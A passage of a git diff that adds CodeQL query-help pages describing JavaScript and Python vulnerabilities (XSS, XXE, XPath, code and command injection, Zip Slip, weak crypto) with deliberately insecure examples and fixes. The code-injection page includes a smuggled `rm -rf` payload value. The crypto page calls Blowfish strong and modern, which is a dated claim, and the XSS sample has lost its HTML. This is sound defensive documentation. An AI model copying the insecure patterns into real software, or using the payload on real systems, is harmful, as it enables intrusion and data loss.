repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/UselessRegExpCharacterEscape.ql) + +When a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\n` in a string literal corresponds to a single `newline` character, and not the `\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program. + +The set of characters that change meaning when in escape sequences is different for regular expression literals and string literals. This can be problematic when a regular expression literal is turned into a regular expression that is built from one or more string literals. The problem occurs when a regular expression escape sequence loses its special meaning in a string literal. + + +## Recommendation +Ensure that the right amount of backslashes is used when escaping characters in strings, template literals and regular expressions. Pay special attention to the number of backslashes when rewriting a regular expression as a string literal. + + +## Example +The following example code checks that a string is `"my-marker"`, possibly surrounded by white space: + + +```javascript +let regex = new RegExp('(^\s*)my-marker(\s*$)'), + isMyMarkerText = regex.test(text); + +``` +However, the check does not work properly for white space as the two `\s` occurrences are semantically equivalent to just `s`, meaning that the check will succeed for strings like `"smy-markers"` instead of `" my-marker "`. Address these shortcomings by either using a regular expression literal (`/(^\s*)my-marker(\s*$)/`), or by adding extra backslashes (`'(^\\s*)my-marker(\\s*$)'`). + + +## References +* MDN: [Regular expression escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping) +* MDN: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation) +* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessUseOfCat.md b/docs/language/query-help/javascript/UselessUseOfCat.md new file mode 100644 index 00000000000..7e80c7ae41e --- /dev/null +++ b/docs/language/query-help/javascript/UselessUseOfCat.md @@ -0,0 +1,51 @@ +# Unnecessary use of `cat` process + +``` +ID: js/unnecessary-use-of-cat +Kind: problem +Severity: error +Precision: high +Tags: correctness security maintainability + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UselessUseOfCat.ql) + +Using the unix command `cat` only to read a file is an unnecessarily complex way to achieve something that can be done in a simpler and safer manner using the Node.js `fs.readFile` API. + +The use of `cat` for simple file reads leads to code that is unportable, inefficient, complex, and can lead to subtle bugs or even security vulnerabilities. + + +## Recommendation +Use `fs.readFile` or `fs.readFileSync` to read files from the file system. + + +## Example +The following example shows code that reads a file using `cat`: + + +```javascript +var child_process = require('child_process'); + +module.exports = function (name) { + return child_process.execSync("cat " + name).toString(); +}; + +``` +The code in the example will break if the input `name` contains special characters (including space). Additionally, it does not work on Windows and if the input is user-controlled, a command injection attack can happen. + +The `fs.readFile` API should be used to avoid these potential issues: + + +```javascript +var fs = require('fs'); + +module.exports = function (name) { + return fs.readFileSync(name).toString(); +}; + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Node.js: [File System API](https://nodejs.org/api/fs.html). +* [The Useless Use of Cat Award](http://porkmail.org/era/unix/award.html#cat). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XmlBomb.md b/docs/language/query-help/javascript/XmlBomb.md new file mode 100644 index 00000000000..991466c94e4 --- /dev/null +++ b/docs/language/query-help/javascript/XmlBomb.md @@ -0,0 +1,62 @@ +# XML internal entity expansion + +``` +ID: js/xml-bomb +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-776 external/cwe/cwe-400 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-776/XmlBomb.ql) + +Parsing untrusted XML files with a weakly configured XML parser may be vulnerable to denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion. + +In XML, so-called *internal entities* are a mechanism for introducing an abbreviation for a piece of text or part of a document. When a parser that has been configured to expand entities encounters a reference to an internal entity, it replaces the entity by the data it represents. The replacement text may itself contain other entity references, which are expanded recursively. This means that entity expansion can increase document size dramatically. + +If untrusted XML is parsed with entity expansion enabled, a malicious attacker could submit a document that contains very deeply nested entity definitions, causing the parser to take a very long time or use large amounts of memory. This is sometimes called an *XML bomb* attack. + + +## Recommendation +The safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxmljs` (though not its SAX parser API), disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action is needed. + + +## Example +The following example uses the XML parser provided by the `node-expat` package to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to a DoS attack, since `node-expat` expands internal entities by default: + + +```javascript +const app = require("express")(), + expat = require("node-expat"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + parser = new expat.Parser(); + parser.on("startElement", handleStart); + parser.on("text", handleText); + parser.write(xmlSrc); +}); + +``` +At the time of writing, `node-expat` does not provide a way of controlling entity expansion, but the example could be rewritten to use the `sax` package instead, which only expands standard entities such as `&`: + + +```javascript +const app = require("express")(), + sax = require("sax"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + parser = sax.parser(true); + parser.onopentag = handleStart; + parser.ontext = handleText; + parser.write(xmlSrc); +}); + +``` + +## References +* Wikipedia: [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs). +* Bryan Sullivan: [Security Briefs - XML Denial of Service Attacks and Defenses](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx). +* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). +* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XpathInjection.md b/docs/language/query-help/javascript/XpathInjection.md new file mode 100644 index 00000000000..72f34bdb259 --- /dev/null +++ b/docs/language/query-help/javascript/XpathInjection.md @@ -0,0 +1,65 @@ +# XPath injection + +``` +ID: js/xpath-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-643/XpathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, it makes it very easy for a user to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, either sanitize the data or use variable references to safely embed it without altering the structure of the expression. + + +## Example +In this example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression constructed using the `xpath` package. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + + +```javascript +const express = require('express'); +const xpath = require('xpath'); +const app = express(); + +app.get('/some/route', function(req, res) { + let userName = req.param("userName"); + + // BAD: Use user-provided data directly in an XPath expression + let badXPathExpr = xpath.parse("//users/user[login/text()='" + userName + "']/home_dir/text()"); + badXPathExpr.select({ + node: root + }); +}); + +``` +Instead, embed the user input using the variable replacement mechanism offered by `xpath`: + + +```javascript +const express = require('express'); +const xpath = require('xpath'); +const app = express(); + +app.get('/some/route', function(req, res) { + let userName = req.param("userName"); + + // GOOD: Embed user-provided data using variables + let goodXPathExpr = xpath.parse("//users/user[login/text()=$userName]/home_dir/text()"); + goodXPathExpr.select({ + node: root, + variables: { userName: userName } + }); +}); + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* npm: [xpath](https://www.npmjs.com/package/xpath). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xss.md b/docs/language/query-help/javascript/Xss.md new file mode 100644 index 00000000000..96bdf54de2f --- /dev/null +++ b/docs/language/query-help/javascript/Xss.md @@ -0,0 +1,43 @@ +# Client-side cross-site scripting + +``` +ID: js/xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/Xss.ql) + +Directly writing user input (for example, a URL query parameter) to a webpage without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + +This kind of vulnerability is also called *DOM-based* cross-site scripting, to distinguish it from other types of cross-site scripting. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows part of the page URL being written directly to the document, leaving the website vulnerable to cross-site scripting. + + +```javascript +function setLanguageOptions() { + var href = document.location.href, + deflt = href.substring(href.indexOf("default=")+8); + document.write(""); + document.write(""); +} + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/XssThroughDom.md b/docs/language/query-help/javascript/XssThroughDom.md new file mode 100644 index 00000000000..f469cc8a7d2 --- /dev/null +++ b/docs/language/query-help/javascript/XssThroughDom.md @@ -0,0 +1,53 @@ +# DOM text reinterpreted as HTML + +``` +ID: js/xss-through-dom +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/XssThroughDom.ql) + +Extracting text from a DOM node and interpreting it as HTML can lead to a cross-site scripting vulnerability. + +A webpage with this vulnerability reads text from the DOM, and afterwards adds the text as HTML to the DOM. Using text from the DOM as HTML effectively unescapes the text, and thereby invalidates any escaping done on the text. If an attacker is able to control the safe sanitized text, then this vulnerability can be exploited to perform a cross-site scripting attack. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing text to the page, or one of the other solutions that are mentioned in the References section below. + + +## Example +The following example shows a webpage using a `data-target` attribute to select and manipulate a DOM element using the JQuery library. In the example, the `data-target` attribute is read into the `target` variable, and the `$` function is then supposed to use the `target` variable as a CSS selector to determine which element should be manipulated. + + +```javascript +$("button").click(function () { + var target = $(this).attr("data-target"); + $(target).hide(); +}); + +``` +However, if an attacker can control the `data-target` attribute, then the value of `target` can be used to cause the `$` function to execute arbitary JavaScript. + +The above vulnerability can be fixed by using `$.find` instead of `$`. The `$.find` function will only interpret `target` as a CSS selector and never as HTML, thereby preventing an XSS attack. + + +```javascript +$("button").click(function () { + var target = $(this).attr("data-target"); + $.find(target).hide(); +}); + +``` + +## References +* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* OWASP [DOM Based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS). +* OWASP [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/Xxe.md b/docs/language/query-help/javascript/Xxe.md new file mode 100644 index 00000000000..5529c85fa3a --- /dev/null +++ b/docs/language/query-help/javascript/Xxe.md @@ -0,0 +1,53 @@ +# XML external entity expansion + +``` +ID: js/xxe +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-611 external/cwe/cwe-827 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-611/Xxe.ql) + +Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible and out-of-band data retrieval techniques may allow attackers to steal sensitive data. + + +## Recommendation +The easiest way to prevent XXE attacks is to disable external entity handling when parsing untrusted data. How this is done depends on the library being used. Note that some libraries, such as recent versions of `libxml`, disable entity expansion by default, so unless you have explicitly enabled entity expansion, no further action needs to be taken. + + +## Example +The following example uses the `libxml` XML parser to parse a string `xmlSrc`. If that string is from an untrusted source, this code may be vulnerable to an XXE attack, since the parser is invoked with the `noent` option set to `true`: + + +```javascript +const app = require("express")(), + libxml = require("libxmljs"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + doc = libxml.parseXml(xmlSrc, { noent: true }); +}); + +``` +To guard against XXE attacks, the `noent` option should be omitted or set to `false`. This means that no entity expansion is undertaken at all, not even for standard internal entities such as `&` or `>`. If desired, these entities can be expanded in a separate step using utility functions provided by libraries such as [underscore](http://underscorejs.org/#unescape), [lodash](https://lodash.com/docs/latest#unescape) or [he](https://github.com/mathiasbynens/he). + + +```javascript +const app = require("express")(), + libxml = require("libxmljs"); + +app.post("upload", (req, res) => { + let xmlSrc = req.body, + doc = libxml.parseXml(xmlSrc); +}); + +``` + +## References +* OWASP: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). +* Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf). +* Timur Yunusov, Alexey Osipov: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). +* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). +* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ZipSlip.md b/docs/language/query-help/javascript/ZipSlip.md new file mode 100644 index 00000000000..390c5a75aca --- /dev/null +++ b/docs/language/query-help/javascript/ZipSlip.md @@ -0,0 +1,68 @@ +# Arbitrary file write during zip extraction ("Zip Slip") + +``` +ID: js/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to check that `".."` does not occur in the path. + + +## Example +In this example an archive is extracted without validating file paths. If `archive.zip` contained relative paths (for instance, if it were created by something like `zip archive.zip ../file.txt`) then executing this code could write to locations outside the destination directory. + + +```javascript +const fs = require('fs'); +const unzip = require('unzip'); + +fs.createReadStream('archive.zip') + .pipe(unzip.Parse()) + .on('entry', entry => { + const fileName = entry.path; + // BAD: This could write any file on the filesystem. + entry.pipe(fs.createWriteStream(fileName)); + }); + +``` +To fix this vulnerability, we need to check that the path does not contain any `".."` elements in it. + + +```javascript +const fs = require('fs'); +const unzip = require('unzip'); + +fs.createReadStream('archive.zip') + .pipe(unzip.Parse()) + .on('entry', entry => { + const fileName = entry.path; + // GOOD: ensures the path is safe to write to. + if (fileName.indexOf('..') == -1) { + entry.pipe(fs.createWriteStream(fileName)); + } + else { + console.log('skipping bad path', fileName); + } + }); + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python.rst b/docs/language/query-help/python.rst new file mode 100644 index 00000000000..d71129bb318 --- /dev/null +++ b/docs/language/query-help/python.rst @@ -0,0 +1,4 @@ +Python query help +================= + +.. include:: toc-python.rst \ No newline at end of file diff --git a/docs/language/query-help/python/BindToAllInterfaces.md b/docs/language/query-help/python/BindToAllInterfaces.md new file mode 100644 index 00000000000..72fc269813a --- /dev/null +++ b/docs/language/query-help/python/BindToAllInterfaces.md @@ -0,0 +1,44 @@ +# Binding a socket to all network interfaces + +``` +ID: py/bind-socket-all-network-interfaces +Kind: problem +Severity: error +Precision: high +Tags: security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CVE-2018-1281/BindToAllInterfaces.ql) + +Sockets can be used to communicate with other machines on a network. You can use the (IP address, port) pair to define the access restrictions for the socket you create. When using the built-in Python `socket` module (for instance, when building a message sender service or an FTP server data transmitter), one has to bind the port to some interface. When you bind the port to all interfaces using `0.0.0.0` as the IP address, you essentially allow it to accept connections from any IPv4 address provided that it can get to the socket via routing. Binding to all interfaces is therefore associated with security risks. + + +## Recommendation +Bind your service incoming traffic only to a dedicated interface. If you need to bind more than one interface using the built-in `socket` module, create multiple sockets (instead of binding to one socket to all interfaces). + + +## Example +In this example, two sockets are insecure because they are bound to all interfaces; one through the `0.0.0.0` notation and another one through an empty string `''`. + + +```python +import socket + +# binds to all interfaces, insecure +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind(('0.0.0.0', 31137)) + +# binds to all interfaces, insecure +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind(('', 4040)) + +# binds only to a dedicated interface, secure +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.bind(('84.68.10.12', 8080)) + +``` + +## References +* Python reference: [ Socket families](https://docs.python.org/3/library/socket.html#socket-families). +* Python reference: [ Socket Programming HOWTO](https://docs.python.org/3.7/howto/sockets.html). +* Common Vulnerabilities and Exposures: [ CVE-2018-1281 Detail](https://nvd.nist.gov/vuln/detail/CVE-2018-1281). \ No newline at end of file diff --git a/docs/language/query-help/python/BrokenCryptoAlgorithm.md b/docs/language/query-help/python/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..3291fe7ac4c --- /dev/null +++ b/docs/language/query-help/python/BrokenCryptoAlgorithm.md @@ -0,0 +1,49 @@ +# Use of a broken or weak cryptographic algorithm + +``` +ID: py/weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. + + +## Example +The following code uses the `pycrypto` library to encrypt some secret data. When you create a cipher using `pycrypto` you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses Blowfish, which is a stronger more modern algorithm. + + +```python +from Crypto.Cipher import DES, Blowfish + +cipher = DES.new(SECRET_KEY) + +def send_encrypted(channel, message): + channel.send(cipher.encrypt(message)) # BAD: weak encryption + + +cipher = Blowfish.new(SECRET_KEY) + +def send_encrypted(channel, message): + channel.send(cipher.encrypt(message)) # GOOD: strong encryption + + +``` +WARNING: Although the second example above is more robust, pycrypto is no longer actively maintained so we recommend using `cryptography` instead. + + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextLogging.md b/docs/language/query-help/python/CleartextLogging.md new file mode 100644 index 00000000000..7f576178857 --- /dev/null +++ b/docs/language/query-help/python/CleartextLogging.md @@ -0,0 +1,49 @@ +# Clear-text logging of sensitive information + +``` +ID: py/clear-text-logging-sensitive-data +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextLogging.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```python +from flask import Flask, make_response, request + +app = Flask("Leak password") + +@app.route('/') +def index(): + password = request.args.get("password") + resp = make_response(render_template(...)) + resp.set_cookie("password", password) + return resp + +``` +Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. + + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextStorage.md b/docs/language/query-help/python/CleartextStorage.md new file mode 100644 index 00000000000..970672f9e29 --- /dev/null +++ b/docs/language/query-help/python/CleartextStorage.md @@ -0,0 +1,49 @@ +# Clear-text storage of sensitive information + +``` +ID: py/clear-text-storage-sensitive-data +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextStorage.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```python +from flask import Flask, make_response, request + +app = Flask("Leak password") + +@app.route('/') +def index(): + password = request.args.get("password") + resp = make_response(render_template(...)) + resp.set_cookie("password", password) + return resp + +``` +Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. + + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CodeInjection.md b/docs/language/query-help/python/CodeInjection.md new file mode 100644 index 00000000000..f9899607756 --- /dev/null +++ b/docs/language/query-help/python/CodeInjection.md @@ -0,0 +1,51 @@ +# Code injection + +``` +ID: py/code-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/owasp/owasp-a1 external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-094/CodeInjection.ql) + +Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is passed to code that interprets it as an expression to be evaluated, such as `eval` or `exec`. + + +## Recommendation +Avoid including user input in any expression that may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. + + +## Example +The following example shows two functions setting a name from a request. The first function uses `exec` to execute the `setname` function. This is dangerous as it can allow a malicious user to execute arbitrary code on the server. For example, the user could supply the value `"' + subprocess.call('rm -rf') + '"` to destroy the server's file system. The second function calls the `setname` function directly and is thus safe. + + +```python + +urlpatterns = [ + # Route to code_execution + url(r'^code-ex1$', code_execution_bad, name='code-execution-bad'), + url(r'^code-ex2$', code_execution_good, name='code-execution-good') +] + +def code_execution(request): + if request.method == 'POST': + first_name = base64.decodestring(request.POST.get('first_name', '')) + #BAD -- Allow user to define code to be run. + exec("setname('%s')" % first_name) + +def code_execution(request): + if request.method == 'POST': + first_name = base64.decodestring(request.POST.get('first_name', '')) + #GOOD --Call code directly + setname(first_name) + +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CommandInjection.md b/docs/language/query-help/python/CommandInjection.md new file mode 100644 index 00000000000..d57d32e1556 --- /dev/null +++ b/docs/language/query-help/python/CommandInjection.md @@ -0,0 +1,56 @@ +# Uncontrolled command line + +``` +ID: py/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-078/CommandInjection.ql) + +Code that passes user input directly to `exec`, `eval`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or the library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows two functions. The first is unsafe as it takes a shell script that can be changed by a user, and passes it straight to `subprocess.call()` without examining it first. The second is safe as it selects the command from a predefined allowlist. + + +```python + +urlpatterns = [ + # Route to command_execution + url(r'^command-ex1$', command_execution_unsafe, name='command-execution-unsafe'), + url(r'^command-ex2$', command_execution_safe, name='command-execution-safe') +] + +COMMANDS = { + "list" :"ls", + "stat" : "stat" +} + +def command_execution_unsafe(request): + if request.method == 'POST': + action = request.POST.get('action', '') + #BAD -- No sanitizing of input + subprocess.call(["application", action]) + +def command_execution_safe(request): + if request.method == 'POST': + action = request.POST.get('action', '') + #GOOD -- Use an allowlist + subprocess.call(["application", COMMANDS[action]]) + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/python/FlaskDebug.md b/docs/language/query-help/python/FlaskDebug.md new file mode 100644 index 00000000000..146b8677c06 --- /dev/null +++ b/docs/language/query-help/python/FlaskDebug.md @@ -0,0 +1,41 @@ +# Flask app is run in debug mode + +``` +ID: py/flask-debug +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-215 external/cwe/cwe-489 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-215/FlaskDebug.ql) + +Running a Flask application with debug mode enabled may allow an attacker to gain access through the Werkzeug debugger. + + +## Recommendation +Ensure that Flask applications that are run in a production environment have debugging disabled. + + +## Example +Running the following code starts a Flask webserver that has 